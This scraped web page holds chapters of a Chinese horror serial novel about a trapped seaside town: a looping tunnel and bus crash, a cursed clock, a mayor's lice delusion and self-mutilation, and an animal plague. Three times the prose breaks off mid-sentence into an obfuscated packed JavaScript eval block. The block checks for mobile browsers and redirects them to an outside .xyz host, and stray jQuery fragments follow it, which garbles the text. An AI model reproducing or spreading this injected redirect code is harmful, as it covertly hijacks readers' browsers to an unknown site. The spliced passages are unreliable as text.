奈绪扭过头不看他,淳平偏要凑到她眼前,两人像陀螺一样转起圈来,奈绪笑着锤了淳平一拳,淳平才终于停下。
一群杀虫队队员从大道上走来,离八点开车只剩两分钟了。
步美是最先看见奈绪的,她高兴地迈起两条长腿跑来,揉了揉奈绪的头:“龙太郎说你们要来送我们。还说要跟我们讨喜糖吃。”
奈绪嘿嘿一笑,步美朝雄一伸出手:“给糖!”
雄一憨厚笑着,毛毛虫似的大粗眉毛舒展开,他从背包里抓出一大把糖,塞到奈绪手里。
奈绪朝由子努努嘴,由子打开书包,拿出两盒千鱼镇的特产,递给雄一。
几人简单寒暄后,公交车便赶来了。
从远处驶来的破旧的公交车,像一只隐匿在薄雾中的怪物。
一群捉虫队队员,从怪物的嘴进入了怪物的肚子,一只戴了手套的手从怪物的心脏部位伸出来,冲着奈绪挥了挥:“奈绪,以后常联系!”
步美比了个打电话的手势。
奈绪想起昨天的信号问题,有些焦急地问:“你们的电话能用吗?”
“可以啊,”步美挥一挥手机:“我们的还正常。”
几分钟后,公交车便消失在大路尽头,奈绪问淳平:“为什么他们的还能用?”
淳平摇摇头,一向沉默寡言的右一脸色异常苍白,小声说:“开始了,一切都要开始了。”
公交车平稳地走着。
步美沿途看着外面的景色,树木和庄稼被蝗虫啃食了大半。
“太可惜了,我还是第一次见到那么大的蝗虫,幸好这次带的武器够多,不然还真够呛。”
“这次出来挣的钱,应该够交一段时间的房屋贷款了。”雄一微笑。
“等我先给我朋友打个电话,让她在站口那里等我们。”
步美拿出手机,拨通电话,却显示不在服务区内。
“怎么回事?刚才还有信号的,怎么现在不行了?”
雄一提醒:“是不是快进隧道的原因。”他指向前方的隧道,“公交车马上就要过去,过了隧道也许就有信号了。”
“希望吧。”步美放下手机。
隧道很黑,只能听见公交车碾过石子时轰隆隆的响声。
这几天除虫,给队员们都累坏了,车里很安静,步美只能听见同事们悠长或短促的呼吸声。
漫长的路途让她有些昏昏欲睡,她眼皮打架,亲昵地将头靠在雄一的肩膀上。
不知过了多久,前方出现了一点亮光,公交车马上就要驶出隧道。
步美睁开眼,摸出手机拨打电话。
“怎么回事,怎么还没有信号?”她晃晃手机,感觉到身旁雄一的身体忽然僵硬。
“怎么了?”她顺着雄一惊恐的视线抬起脸来,看向公交车前方。
一模一样的道路,一模一样的风景。
被蝗虫啃食过的树木,青砖白瓦建的两层建筑,以及,以及这诡异杜,仿佛时间凝固般的千鱼镇。
“怎么、怎么会?是不是公交车司机开错路了?”
步美三步并作两步冲到车前,司机一脸茫然:“怎么回事?怎么又回来了?”
司机喃喃自语:“我明明,没有打瞌睡啊?”
“现在,再沿着道路,开进隧道一次。”步美说。
司机直起身子,全神贯注地驾驶车子,公交车晃晃悠悠沿着千鱼镇行驶,又到了隧道的入口。
一片漆黑,步美拿起手电筒,照向隧道内部,并无任何异常。
因为这场意外的变故,所有人都从睡梦中惊醒,全神贯注地观察着车子行驶的方向。
亮光重新出现,步美松了一口气,眼前是熟悉的车站,好友正站在车站前等她。
下一秒,熟悉的画面在她眼前崩碎瓦解,千鱼镇的一切重新出现。
公交车内,司机不住擦着冷汗,车内一片惊呼:“怎么出不去了?现在连电话也打不通了!”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977554|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>几人站了起来,在车头与车尾之间来回行走,企图找出异样发生的原因。
司机再次将车驶向千鱼镇,想要再次前往隧道入口,突然的异常让他手脚冰凉。
步美靠着窗户,忽然看到在路边独自走着的奈绪。
她急忙对司机说:“司机,司机,让我们在这里先下去!”
只有雄一和步美下了车,其他一群人都想跟随司机再试一试能不能通过隧道,没有下车。
司机带着一车人重新往隧道入口驶去,步美下车的位置离隧道入口不远。
“奈绪,怎么只剩你一个人了?其他人呢?”
奈绪眨着眼睛,“他们都回家了,我去买点吃的。”
步美这才注意到奈绪手中提了一袋零食。
“你怎么又从车上下来了,还是从……那个方向?”
公交车载了一车人,再度驶入隧道,步美看着公交车消失在黑暗中,话里带着担忧:“我们好像……出不去了。”
雄一:“公交车进隧道,开了好几次都是从入口出来,怎么也到不了外面,现在手机也打不通了。”
在奈绪的建议下,步美,雄一与奈绪一同走入了隧道。
“如果车子开不出去,用步行的方法也许可以。”奈绪说。
隧道黑暗,三人贴着隧道的边缘走着,步美时不时拿出手机查看信号。
令她失望的时,手机信号始终没有出现,连手机的电量也一点一点耗尽了,在最后一点微弱的亮光后,他们彻底陷入了黑暗。
一点熹微的光从隧道尽头照进来,步美抓着奈绪的手渗出冷汗,眯起眼睛看向那束光。
这束光和出隧道看到的光都不一样,光亮似乎来自一辆车子的车灯。
是那辆公交车!
车上满载了一车队员,车子左歪右晃,步美扯过奈绪的手,将她猛地向后带,三人快退几步,贴着隧道墙壁。
惊魂一刻,公交车擦过奈绪的半边身子,如同醉酒一样朝前方驶去!
公交车擦过时,奈绪隐约看见了司机的脸。
这个在千鱼镇干了几十年的司机,嘴角抖动,眼角抽搐,拼命控制着手中的方向盘。
车内,队员们左摇右晃,恐慌地尖叫着,行李散落一地。
公交车以极快的速度往隧道的另一边冲去,离奈绪三人越来越远。
但奈绪还没走出隧道,就听见身后传来一声惊天动地的炸响。
玻璃破碎擦过奈绪的脸颊,火焰将她的头发燎焦,烟气与灼热疯狂迸发,一只宽厚的手臂将她推倒在地。
她侧过脸,眼睛被火气燎得几乎睁不开,朦朦胧胧间,雄一与步美保护着她,两人将腿软的奈绪拉起,往隧道的出口跑去。
身后,公交车猛烈燃烧着,车窗全碎了,车身凹进去一大块,司机头部流血,失去了气息。
又是一个惊天动地的响声,如同雷鸣一般,三人都下意识回头望,瞳孔震颤,手脚发抖。
公交车就撞碎在离入口极近的位置,整辆车从侧面倾倒,湮灭在烈火之中。
等到镇子上的消防大队赶到时,整辆车已经烧得只剩下一个硬壳,包括司机在内,整车人的尸体不翼而飞。
隧道像是怪物的食品供给站,怪物手握刀叉,精心将公交车送来的食品品味干净。
步美握住雄一的手,看向天空,在无尽渺远的天空中,她看不到什么东西。
可她总觉得,有一双无形的手如同跳舞般,在天地间行走,在千鱼镇内行走,那双透明的大手长出一个血红的嘴巴,悄然低语着:
“你们在哪里?”
“你们在哪里?”
5. 钟表
已经进入了冬天。
也许是因为冬日,光秃秃的树干看起来也没有那么诡异了,太阳跃上枝头,枝干投下干瘦的暗影,映照在学校的石墙上。
奈绪穿着靴子,和姐姐由子一起从墙边经过。
这是学校里的一栋教学楼,教学楼的最上方有一个钟表房。
外面悬挂了一个巨大的钟表,已经年久不用,上面落满了灰尘,一根表针生锈,多年不再转动。
因为近些天千鱼镇收不到任何信号,对外界发不出消息,手机几乎被弃用了,钟表作为相当可靠的报时工具,重新走入了小镇镇民的视野。
现在,龙太郎和小百合两位老师,正监督着三个工人,用砂纸打磨生锈的表针,要将这台巨大的钟表重新启用。
奈绪抬起头向上望去,橘黄色的钟表正在日光的照耀下闪着一点细碎的光芒。
表针磨下的金属碎屑从楼上落下,奈绪急忙避开。
现在已经下课了,奈绪抬起手腕,是一个老式的机械钟表,表针显示现在已经整点,她们需要赶紧回家了。
“老师——我们走了——”
“路上小心——”龙太郎急忙挥手。
回到家,奈绪看见步美拎着大包小包的行李,正从家里搬出去。
“你们是要走了吗?房子找得怎么样了?”奈绪问。
步美提着一个大袋子,手腕频频暴出青筋,她温柔地微笑,说道:“找好了,这些天寄住在你们家里,真是给你们添麻烦了。”
“不麻烦不麻烦。”由子忙说。
奈绪:“你们怎么搬出去得这么急,不再住几天呢?”
步美看向雄一,表情有些羞涩:“我怀孕了,再住在这里,怕不太方便。”
唯一的医院在山坡下的镇子中心,奈绪家里医院实在有些远。
“怀孕了?”奈绪惊得几乎要蹦起来,“什么时候?”
步美思索着说:“按照月份来看……来千鱼镇之前就有了,只是当时还没意识到。”
步美和雄一脸上洋溢着幸福的微笑,然而奈绪却看出两人表面的微笑之下还隐藏了一层冰冷的不安。
被困在这样一个地方,还不知道什么时候能出来。
一个全新的生命的诞生有时候并不意味着幸福快乐,而是代表了茫然与未知。
奈绪两人将他们送到镇子后,便折返回家,步美找的房子很漂亮,是一个两层独栋,算不上很大,但是很温馨。
奈绪咬着铅笔,坐在教室里发着呆,淳平转过身挤了挤眼睛:
“你听。”
“听什么?”奈绪没好气地问,她正因为步美二人的离开而有些莫名的烦躁。
淳平:“听嘛!”
话音刚落,悠扬的钟声透过窗户传来,声音很大,震耳欲聋。
奈绪站起身将窗帘拉上,声音小了很多,淳平着急:“你把窗帘拉上干嘛?”
“吵死了。”
奈绪闭上眼睛趴在课桌上,淳平还在旁边絮絮叨叨:“这是班主任和隔壁小百合老师一起弄的,钟表磨好后上了油,听起来声音真是好听。”
淳平的爷爷是钟表匠,生前常常试图教会这个孙子关于钟表的知识,让他学会修钟表。
孙子没学会修钟表,反倒喜欢上了听各种各样的钟声。
据淳平所说,每个钟表走针的声音都是不同的,教室里的小钟表走起来凝滞,缓慢,奈绪手腕上的钟表听起来清脆,青春。
而教学楼上挂的这个超大钟表,在淳平看来,就是小镇历史的代表。
钟表每奏出一声,都格外悠扬,庄重,像是代表了小镇的历史。
千鱼镇本是一个人迹罕至的小地方,后来陆陆续续有几户人家搬过来,才发展成如今的模样。
小镇靠背面是一片大海,这片大海在无风的夜晚会掀起黄绿色的巨浪,海面的风猛刮着人们的后背,似乎要将人刮进海中。
据小镇上最年长的人由村所说,在他随着父母搬来千鱼镇后,在秋日一天深夜,他还窝在母亲的怀抱里,忽然听到了钟声。
声音悠扬,凄凉,悲伤。
那时村子刚建成不久,村中并未有人搬来什么钟,他跟着父母跑了出去。
他们沿着钟声寻找,一路往北边。
直到看见滔天的巨浪吞没了半边天空,他闻到咸咸的海腥味,潮湿的冷气扑在他稚嫩的脸上。
就在众人茫然之时,海浪将一块庞大无比的黑色物体托起,这块黑色的物体庞大到似乎要将天地遮盖,排山倒海般往岸上涌来。
镇民们大惊失色,他的父母拖着他往远离海浪的地方跑去,
最后一声钟声也随之到来。
“咚——”
他浑身颤栗,鞋子被海浪打湿。
在岸边等到天亮,借着第一缕从海面上升起的晨光,他们都看清了那团黑色的巨物的真实样貌。
是一艘破旧的大船。
船身残破,舷窗破碎,甲板松脆,几个镇民鼓起勇气,身上绑了绳子进入船舱,发现船内长满了白毛,几个腐烂的骨架倒在舱内。
钟声就从这船上来。
由村亲眼看着几个村民将这个巨大的钟表,从船舱内出来。
那时,他几乎认不出这是个钟表,只知道是个圆形的物体,因为钟表上长满了白毛。
奇怪的是,在接触到空气的一瞬间,乱舞的白毛瞬间化为粉末,被咸腥的海风吹散。
他真正看见了这个生锈的钟。
小镇刚建成,贫瘠的镇民想要利用一切可以利用的资源,他们将这个大钟架起,抛光,放入了镇上的教堂。
经过一个多世纪的洗礼后,钟逐渐失去了用处,被丢在废弃的空房中。
直到最近,才又被翻了出来。
当钟声再次响起,淳平满意地点了点头,闭眼聆听悠扬的钟声。
连着听了几天钟声,奈绪也渐渐习惯了这个大钟的整点报时,放学回家,她也会习惯性地抬头,看向这口跨越了千鱼镇百年历史的巨大时钟。
奈绪甚至产生了一种自己在与百年前小镇上的居民交流的感觉。
直到有一天,奈绪没有听到那一声熟悉的钟声。
“发生什么了?今天的钟怎么没有响?”奈绪看向手腕上的手表:“这不是整点了吗?”
淳平也觉得奇怪。
当他们二人跑去教学楼时,奈绪清晰地看见教学楼上的大钟停止了转动。
表针奇异地停止了。
龙太郎又请了两个工人,对钟表进行了检修。
检修过后的两个小时,钟表还在转动着,两个小时后的整点,钟表再次停住了转动。
又修了几次,结果都是如此。
龙太郎无可奈何,指了指不再转动的钟表,对淳平失望地说:
“它恐怕是坏了。”
往后几天,他们都在没有钟声的世界里度过,奈绪有些怀念那悠扬的钟声,但年少的青春天性也让她很快忘记了这口钟。
大钟不转以后,就成了一个装饰品,孤零零地挂在楼上,钟表渐渐生锈,被人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977555|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们遗忘。
雷雨交加的夜晚,风刮得很急,树木在狂风的压迫下向一侧倾倒。
奈绪刚下晚自习,她穿了一件雨衣,整个鞋子都被雨水浸湿。
她将手臂挡在前面挡着扑面而来的雨水,另一只手抱着书包,从教学楼中跑出来。
“喂,奈绪,等等我——”由子大叫着,撑了把雨伞出来,将书包护在身前,雨水顺着她的袖子滴下。
奈绪停下脚步,姐姐喘着粗气,将伞罩了她半边。
“你今天怎么不和你男朋友一起走了?”奈绪疑惑问道。
由子脸色有些阴沉:“他最近神叨叨的,好几天没来上学了,我一问他,他就说自己去隧道了。”
“他去隧道干嘛?”
由子:“我也不知道,可能还在想出去的办法,我一向劝不动他,他拿定一个主意就不松手的。”
轰隆一声,电闪雷鸣,雷电如同天空被震碎时的裂缝,裂缝中的光将万物照得明亮。
同时间,一间普通的平房内,一位男子正为病榻上的老人喂药。
雨水拍打着窗户,水顺着窗缝淌下,老人精神不是很好,脸上的皮肉松垮垮耷拉着,眼皮惺忪。
“我已经……已经是整个镇子中年龄最大的老人了。”由村嘟囔。
自从前些天的蝗灾过后,他便染上了一种奇怪的后遗症。
他的脑中,时常有人窃窃私语。
那些声音时而短促,时而绵长,有时轻柔得像是妻子从前温柔的低语,但更多时候,像人濒临死亡时绝望而漫无目的,不知归处的低吟。
这声音折磨得他已经许多日子都没睡好觉,眼睛下方眼袋耷拉,只有喝药才能让他勉强入睡。
“算了,你去休息吧。”他对孙子说。
孙子端着药碗走了,药水进了肚子,他脑海中的窃窃私语声终于少了些。
他昏昏欲睡,侧过身子靠着床,看着窗外的雨。
他看见一道白光划破天空,将夜晚的天幕割成两半。
两秒后,奈绪看见那道白光劈上了那口大钟。
面对如同天罚般的雷电,大钟颤抖着,螺栓松动,正个大钟竟与墙壁脱离开来,朝着下方直直坠落!
奈绪拉过由子的手,两人径直朝后退了几步。
“咚——”
如同死神降临人世,钟声穿透脆弱的玻璃窗,盖过了由村脑中其他一切窃窃私语。
由村发觉整间房子都震颤起来,钟声越奏越响,后脑勺一阵阵发疼。
等稳住身形后,他才发现震颤的并不是整间房子,而是他自己。
他在抖动。
他在害怕。
钟声如同魔鬼的召唤,他呼吸不上来了。
用力吸进一口空气,他支撑着站起身,却从床边滚落,平躺在地。
心脏仿若凝结一般,血液再也没有从心脏流过,他张嘴啊啊叫着,却发不出任何声音。
雷雨大作,窗户被风吹开,雨水倾斜刮进屋内,刮到屋子内已经心跳停止的老人身上。
老人大张着嘴巴,面色恐怖,在生命的最后一刻,他再次闻到了那股咸腥的雨水气息。
第二天,几个工人将已经成为一堆残骸的大钟抬走。
大钟无处可去,被工人丢弃在近海的岸边,与那个被世人遗忘的破船待在一起。
不久后,镇子最年长的老人由村的葬礼也举办了。
作为后辈,镇子上的所有人都参加了由村的葬礼,由村的棺材绕着镇子走了一圈,随后葬入地下。
6. 跳蚤
珠惠扎着两条可爱的马尾辫,在阳光下跑动的身影像一头灵巧的小鹿。
“奈绪,后天就是运动会了,还有父母要来参加,你报名吗?”珠惠问奈绪。
奈绪摇头,话里带着一丝遗憾:“我父母他们都忙得很,没时间来参加,真羡慕你,父亲是镇长,每天工作那么忙,竟然还有时间来参加学校活动。”
“也没有啦,只是……”珠惠看了看操场,操场上零星有几个踢球的学生,她压低声音:
“最近镇子上出的事情不少,他想办法向外界寻求支援,愁得头发都白了一半,整天睡不好,我和妈妈就想办法劝他来散散心。”
奈绪想起近来镇子中发生的事情,原本阳光的心情也蒙上一丝阴影。
当初去找父母时见到了镇长,那时镇长就长了不少白发,苍老了许多,现在镇子的事情还没有解决,镇长一向是个负责任的,肯定比他们这些镇民更发愁。
“希望吧。”奈绪说。
“砰!”
号令枪响。
一缕青烟从枪头喷出。
参赛队员脚下生风,铆足了劲往前冲,肌肉绷紧,跟腱突出,像一群追赶猎物的猎豹。
不过短短十几秒钟,已经有人冲过了终点,一根胜利的红带子在他手中飘扬着。
奈绪顺着众人的欢呼往过去,瞳孔骤然放大。
“老师?”她迈步走过去,一群同学已经围在他身边,骄傲地将他抬起,一起高喊:
“龙太郎!龙太郎!龙太郎!”
龙太郎推了推厚厚的眼镜,招呼着让热情的同学们将他放下。
奈绪有些不敢相信自己的眼睛,班主任这样一副小身板,腿细得像竹竿一样,跑起步来竟然这么快。
淳平也难以置信:“老师,你平时真是深藏不露啊,”他话里话外有些嫉妒:“老师,你这个跑步速度,是全镇第一吧。”
龙太郎重重呼吸几声,将肺里的浊气排走,接过一瓶水猛得灌下几口,呛了一下,手朝一个方向指去。
“我哪里是第一啊,每次比赛我都输给他了。”
奈绪顺着众人的视线看去,笑出声来:“老师,你确定你不是故意输的吗?这可是镇长哎。”
龙太郎所指的人,就是站在看台边,正与珠惠聊天的镇长村井骏平。
龙太郎脸上的皱纹都笑得皱了起来:“我倒是想赢他!我们在千鱼镇长大,从小就赛跑,没一次赢的,后来我们都考上了外面的大学,又都选择回到小镇,没想到都四五十岁半截入土的人了,我竟然还是赢不过他。”
注意到了一群人的视线,镇长走了过来,简单打了个招呼。
龙太郎:“骏平,这次总该让我赢一次了吧。”
镇长咧开灿烂的笑容,搂过身边的珠惠,摇摇头假装无奈:“没办法,我女儿在这里,总要给她挣点脸面,龙太郎,你一个老光棍,不会懂我们这些做父母的心情的。”
损友见损友,分外眼红。
龙太郎作势要打,珠惠嬉笑着将镇长扯走,镇长一面走,一面回头扬起下巴看着龙太郎,意思是:
我肯定赢你。
龙太郎与同学们哄笑成一团。
发令枪再次响起。
这次从跑道上出发的,有龙太郎,镇长骏平,还有其他几位男老师。
奈绪看着他们如离弦的箭一样冲出起点,这一场是两百米,路途不算长。
龙太郎和镇长骏平一同冲在最前方,骏平领先一些。
龙太郎细瘦的腿让他看起来有些像奔跑的竹节虫,他面颊上的眼镜在鼻子上颠着,他边跑边用手指扶着眼镜,看起来有些滑稽。
小百合老师也在一旁观赛,看到龙太郎滑稽的样子,她忍不住捂着嘴,轻轻笑了。
一片惊呼声传来,跑道上似乎有人跌倒了。
此时跑步的人都被人群挡住,奈绪和同学们推开一条小道,朝呼救的地方跑过去。
刚刚还在微笑的小百合老师脸色骤然变得苍白,冲到最前方,奈绪紧跟而至。
摔倒的不是一直在扶眼镜的龙太郎,却是那个一马当先的镇长。
镇长脸色苍白,额头流着冷汗,眼睛紧闭,手肘处凸起一块骨头,手臂上擦破了一层皮,肉色的皮肤混合着红色的血液,让奈绪后背发麻。
珠惠跪在他身旁,一脸惊慌,龙太郎顾不上疲累,和小百合老师一起去医务室找医生去了。
医生赶到,将骏平抬上担架。
奈绪看得触目惊心,珠惠止不住哭泣,眼圈红肿着说:“我不该叫爸爸来的……”
奈绪无计可施,只好拍拍她的肩安慰她。
镇长受伤的小插曲让整个运动会停滞了一段时间,而后在其他几个老师的指导下,运动会又重新开始进行。
只是,有镇长受伤的前例,接下来的运动员也都收敛了很多,没了刚开始的生机活力。
珠惠第二天肿着眼睛来上学,马尾辫也乱了一些,皮筋系得松松垮垮。
她趴在课桌上,任凭窗外的冷风对着自己发后背直吹。
“天气都这么冷了啊。”奈绪站起身,关掉了窗户。
“你爸爸好些了吗?”奈绪柔声问。
珠惠抬起头来,眼中泛着泪花:“医生刚给他包扎好,他现在躺在家里休养呢。”
此后几天,珠惠的精神逐渐好起来,也重新和同学们开起玩笑来。
奈绪瞧着她,却还是觉得有些不对劲,珠惠的辫子扎得不好,走路也没了从前小鹿一样的姿态了。
在一节课间,她将珠惠从同学中拉出,找了个空旷的角落,问:“珠惠,你别骗我了,你家里到底怎么样了?”
珠惠眨了眨眼睛,做出一副平静无事的样子:“没、没怎么样啊。”
奈绪不高兴地甩开她的手,闷声道:“你要是还当我是朋友的话,就和我说实话。”
珠惠秀气的眉毛皱了起来,还在微笑的嘴角撇了下来,嘴唇抖动着,像是要哭:“我……我爸爸有点不对劲。”
“怎么不对劲?”班主任的声音忽然出现。
奈绪和珠惠都被吓了一跳,龙太郎夹着一本数学书,不知从哪个角落钻了出来。
“我打算今天下午去看看你爸爸,他到底怎么样了?”
珠惠忍不住哇地哭了起来,抽抽搭搭地说:“他、他发疯了,他说自己包了纱布的地方长了一张脸,他,他还说那张脸张开了嘴巴,往外面吐了好多虱子。”
龙太郎的表情分外震惊,脑子宕机了几十秒后,才反应过来。
忙问:“他前些天不是还很正常吗?他说的是真的假的?你们有拆开他的纱布看过吗?”
珠惠大哭:“他说那些虱子跳得到处都是,他要打扫,要把虱子都杀死,就、就将我们赶出了房子,现在我们都寄居在隔壁,没办法回去。”
“还能有这样的事情?”龙太郎神情焦急:“哪里要等到下午?珠惠,现在就带我去找你母亲,我们几个赶紧去找他!”
奈绪正要跟上,龙太郎拦住了她:“奈绪,咱们班还有一节英语课,你上完再去。”
奈绪咬着铅笔,度日如年地上完了这节课,一下课便急急忙忙赶到了镇长家附近。
龙太郎和珠惠正扶着镇长夫人,三个人从邻居家出来。
镇长夫人面色憔悴,形容枯槁,咬紧牙关支撑着站直了身子。
他们刚谈完镇长的事情。
龙太郎老师看见奈绪,先是打了个招呼,而后走远几步,敲了敲卷帘门。
慎一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14977556|161409||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
郎的光头被阳光照得锃亮,他没好气地问:“怎么了?”
“我想请你和我们一起去找镇长。”
慎一郎嘟囔着钻出来,和他们一起往镇长的房子走去。
铁门半开着,轻轻一推就会发出吱呀吱呀的声响。
奈绪屏住呼吸,从门缝中钻进去,一脚便踩到了松软的泥土。
院子里弥漫着清洁剂的味道,放眼望去,地上布满了大大小小的深坑,堆砌了几十堆泥土。
他们小心地走过深坑,这些深坑的出现,就好像挖坑的人要在坑底找出些什么。
坑中没有镇长的身影,龙太郎用镇长夫人给的钥匙打开了房门,几人挤进房子,浓烈的清洁剂味道扑面而来。
奈绪被呛得咳嗽起来,睁大眼睛看着这间二层小楼。
每一块玻璃都被擦得仿若透明,物品上冒着寒气,地板擦得光亮,不落一粒尘埃。
与极度的干净极不协调的,则是物品的摆放。
每件物品都十分干净,但却胡乱堆放在一起。
他们都安静下来,屏住呼吸,龙太郎打头,几人往二楼走去。
转过几个房间,龙太郎看到床上的被子叠得一丝不苟。
窗户紧闭,其他房间的灯都关了,只有一个房间的灯还开着。
他慢慢走进,悄悄推开了门。
一个伛偻的身影四肢蜷缩着,躲在卫生间的角落,正不停抓挠着皮肤。
他的手肘部分已经溃烂开来,纱布不知道被扔去了哪里,凸出的那半截骨头沾着血丝。
浑身上下布满了密密麻麻的血点,像是指甲抓挠过的伤口。
他脚边放了一把刀,龙太郎不敢贸然靠近,双方陷入了短暂的沉默。
骏平睁开了眼睛,奈绪吃惊地看见,他原本明亮的眼睛已经变得灰暗,嘴唇布满了血丝和干皮。
他眼睛已经没有了意识,说话也变得嘟嘟囔囔:“有、有虱子。虱子钻进地下去了,我挖不出来,虱子跑到我身上来了,我捉不出来。”
“我捉不出来。”
“我找不到它们。”
“虱子在我的身体里跳呢!”
“原来它们是在我的肉下面!”
电光火石之间,骏平已经拿起了刀子,往手臂上砍去,龙太郎和慎一郎立即冲进去,拽住了他的胳膊。
镇长骏平拼命挣扎着,手里的刀子乱舞乱砍,他切下了自己的一块大腿,血液喷溅,晃晃悠悠站起身来。
他发出一声恐怖的狂笑,刀子瞬间打横划去,脱离了他的手。
一声尖叫响起,刀刃擦过珠惠的小腿,几颗血珠沿着伤口的方向流下。
慎一郎急忙将刀子踩住,龙太郎用绳子将骏平捆了起来。
听见女儿尖叫的哭泣后,骏平终于冷静下来,可眼中还是一片茫然。
他的大腿还在喷着血液,他却没有了任何知觉,他昏了过去,被救护车送到了医院。
医生对镇长进行了抢救与手术后,将他送进了隔离舱。
他身上的伤口已经开始发生感染,腿部最为严重,据医护人员透露,并未在骏平的手肘部分发现他一直所说的脸,更没有发现什么虱子。
他待在隔离舱内,穿着棉睡衣,躺着不说一句话,只是偶尔伸出手,将身上刚刚结痂的伤口再次挠破。
乐此不疲。
新的镇长上任,珠惠与母亲也终于回归了正常的生活。
她有时会和奈绪一起去医院看望父亲,又失望地离开。
每当看见父亲那满是伤疤的脸,手臂,腿,她的喉腔就会产生呕吐的感觉。
这时候,她就会挠一挠腿上被父亲划伤的伤口。
伤口还没好,已经好些日子了。
总是有些痒。
7. 牲畜
在黄绿色的浊浪中,一个黄黑色的东西上浮又下沉,被奔涌的海浪推到岸边,在海岸上暴晒了数日。
一只小狗摇着尾巴,在沙滩上留下一个个小脚印,它好奇地朝那团物体跑过去,绕到了那东西面前。
原来是一头牛啊。
牛身上斑斑点点,血肉模糊,脓液泛滥,浓烈的酸腐气味呛鼻。
小狗尾巴沾上了点脓液,它有些嫌恶地擦了擦,随后便朝家跑去。
现在是饭点,主人在喊它吃饭了。
镇子爆发了瘟疫。
这种瘟疫在动物之间传播,一旦沾上染病动物的皮肤,不出几日便会肌肉溃烂而死。
幸运的是,瘟疫没有损害到人们的安全,除了小镇中的牛羊不能食用外,其他的鱼,鸡鸭等都还能吃。
为了防止病害的传播,镇民们自发组织起来,将得了病的牛羊绑到海边,因为焚烧时味道极大,镇民们并没有选择焚烧,而是将牛羊的尸体都堆在海边的悬崖上。
镇子很快恢复了平静,镇民们都认为瘟疫就这样过去了。
夜晚十一点,灯光幽暗,穿着围裙的爱子正擦拭着玻璃杯,头频频看着台面,上面摆了一封信,正是奈绪给她寄来的。
因为信号的缺失,镇子重新出现了信件邮递员这个已经消失许久的职业。
镇长刚宣布恢复邮递员的职业,奈绪就迫不及待给爱子写了信,托邮递员送来。
“什么嘛,都是废话啊。”爱子轻声抱怨着,嘴角却上扬了。
奈绪与她这种已经进入社会几年的人不同,她话里话外都洋溢着青春的气息,说话废话很多,张口闭口就是:“爱子你好吗?好久不见,我好想你!”
但实际上两人上午才见过。
幸福的人才会废话多。
爱子说话言简意赅,若不是客人主动聊天,她绝不会多说半句话。
“爱子,东西要仔细擦,我和你弟弟先回去休息了。”父亲从帘子后探出头来,“信有什么好看的,要是你再因为这个耽误工作,我就和邮递员说不要再往咱家送信了。”
爱子乖巧地点了点头,将信收起来。
这算什么工作。爱子的脑海里忽然出现了一个声音。
爱子吓了一跳,身边空无一人,是谁在说话?
她高中还没毕业,就被父亲以家务繁忙为由退了学,即便她当时学习很好,哭着喊着求要留下,父亲还是给她办了退学。
她每天从早忙到晚,却没有任何报酬,眼睁睁看着青春一天天流失,却无力弥补。
“奈绪,我真羡慕你。”她轻轻说着,想落笔写下这行字,最终却还是划去了。
“铃铃铃——”
清脆的铃声响起,深夜十一点五十六分,三个人搂着走进了酒馆。
“妹子,来杯酒!”
三个人喝了一杯又一杯,满脸醉红,其中一人抬起眼睛,轻蔑地扫视爱子一眼,嗤笑一声。
爱子一脸平静,这些人她见多了。
那人喉结动了动,吐出一口酒气,冲着爱子打了个酒嗝。
擦了擦嘴巴后,他笑着说:“小姑娘,几岁了?身材不错啊。”
爱子冷漠地抬起脸:“三千两百日元。”
“什么?是你的吗?”
“你们三个的酒,还没交钱呢。”
男子哼了一声,嘟囔着开始掏钱,将两千日元拍在桌子上:“就……就这么多了……漂亮姑娘……给我们抹个零嘛……”
爱子迅速将两千日元收下,说:“其余的帐我先记在酒馆账上。”
爱子将钱记在帐上,她并不喜欢赊账,父亲查账时会责骂她,可她更厌恶与客人纠缠,尤其是这种酒气冲天的人。
用笔记下后,爱子抬起眼睛,惊奇地发现那个人的耳朵变成了猪耳。
“你……”爱子看着他的耳朵,又看向搀扶着他的那两个人,他们似乎都没觉察出异样。
“没事,欢迎下次光临。”爱子鞠躬。
“怎么回事,这里怎么有个赊账的?”父亲指着账簿怒声说。
“他们只给了两千日元,我把他们欠的钱记在账上了。”
“要你这个女儿有什么用?吃我们的住我们的,早点送出去嫁人才好!”父亲气得胡须都在颤动。
爱子面无表情,撞着父亲的肩膀经过:“店里没什么事的话,我要回去睡觉了。”
“你、你从前不是这样的啊,你从前那样乖巧,那样听话,让你做什么你都愿意……”
爱子猛然扭头,眼中的冷漠将父亲吓了一跳。
你就是想让我听话对不对?
你为什么不让我上学却让弟弟上学?
你为什么只让我听话?
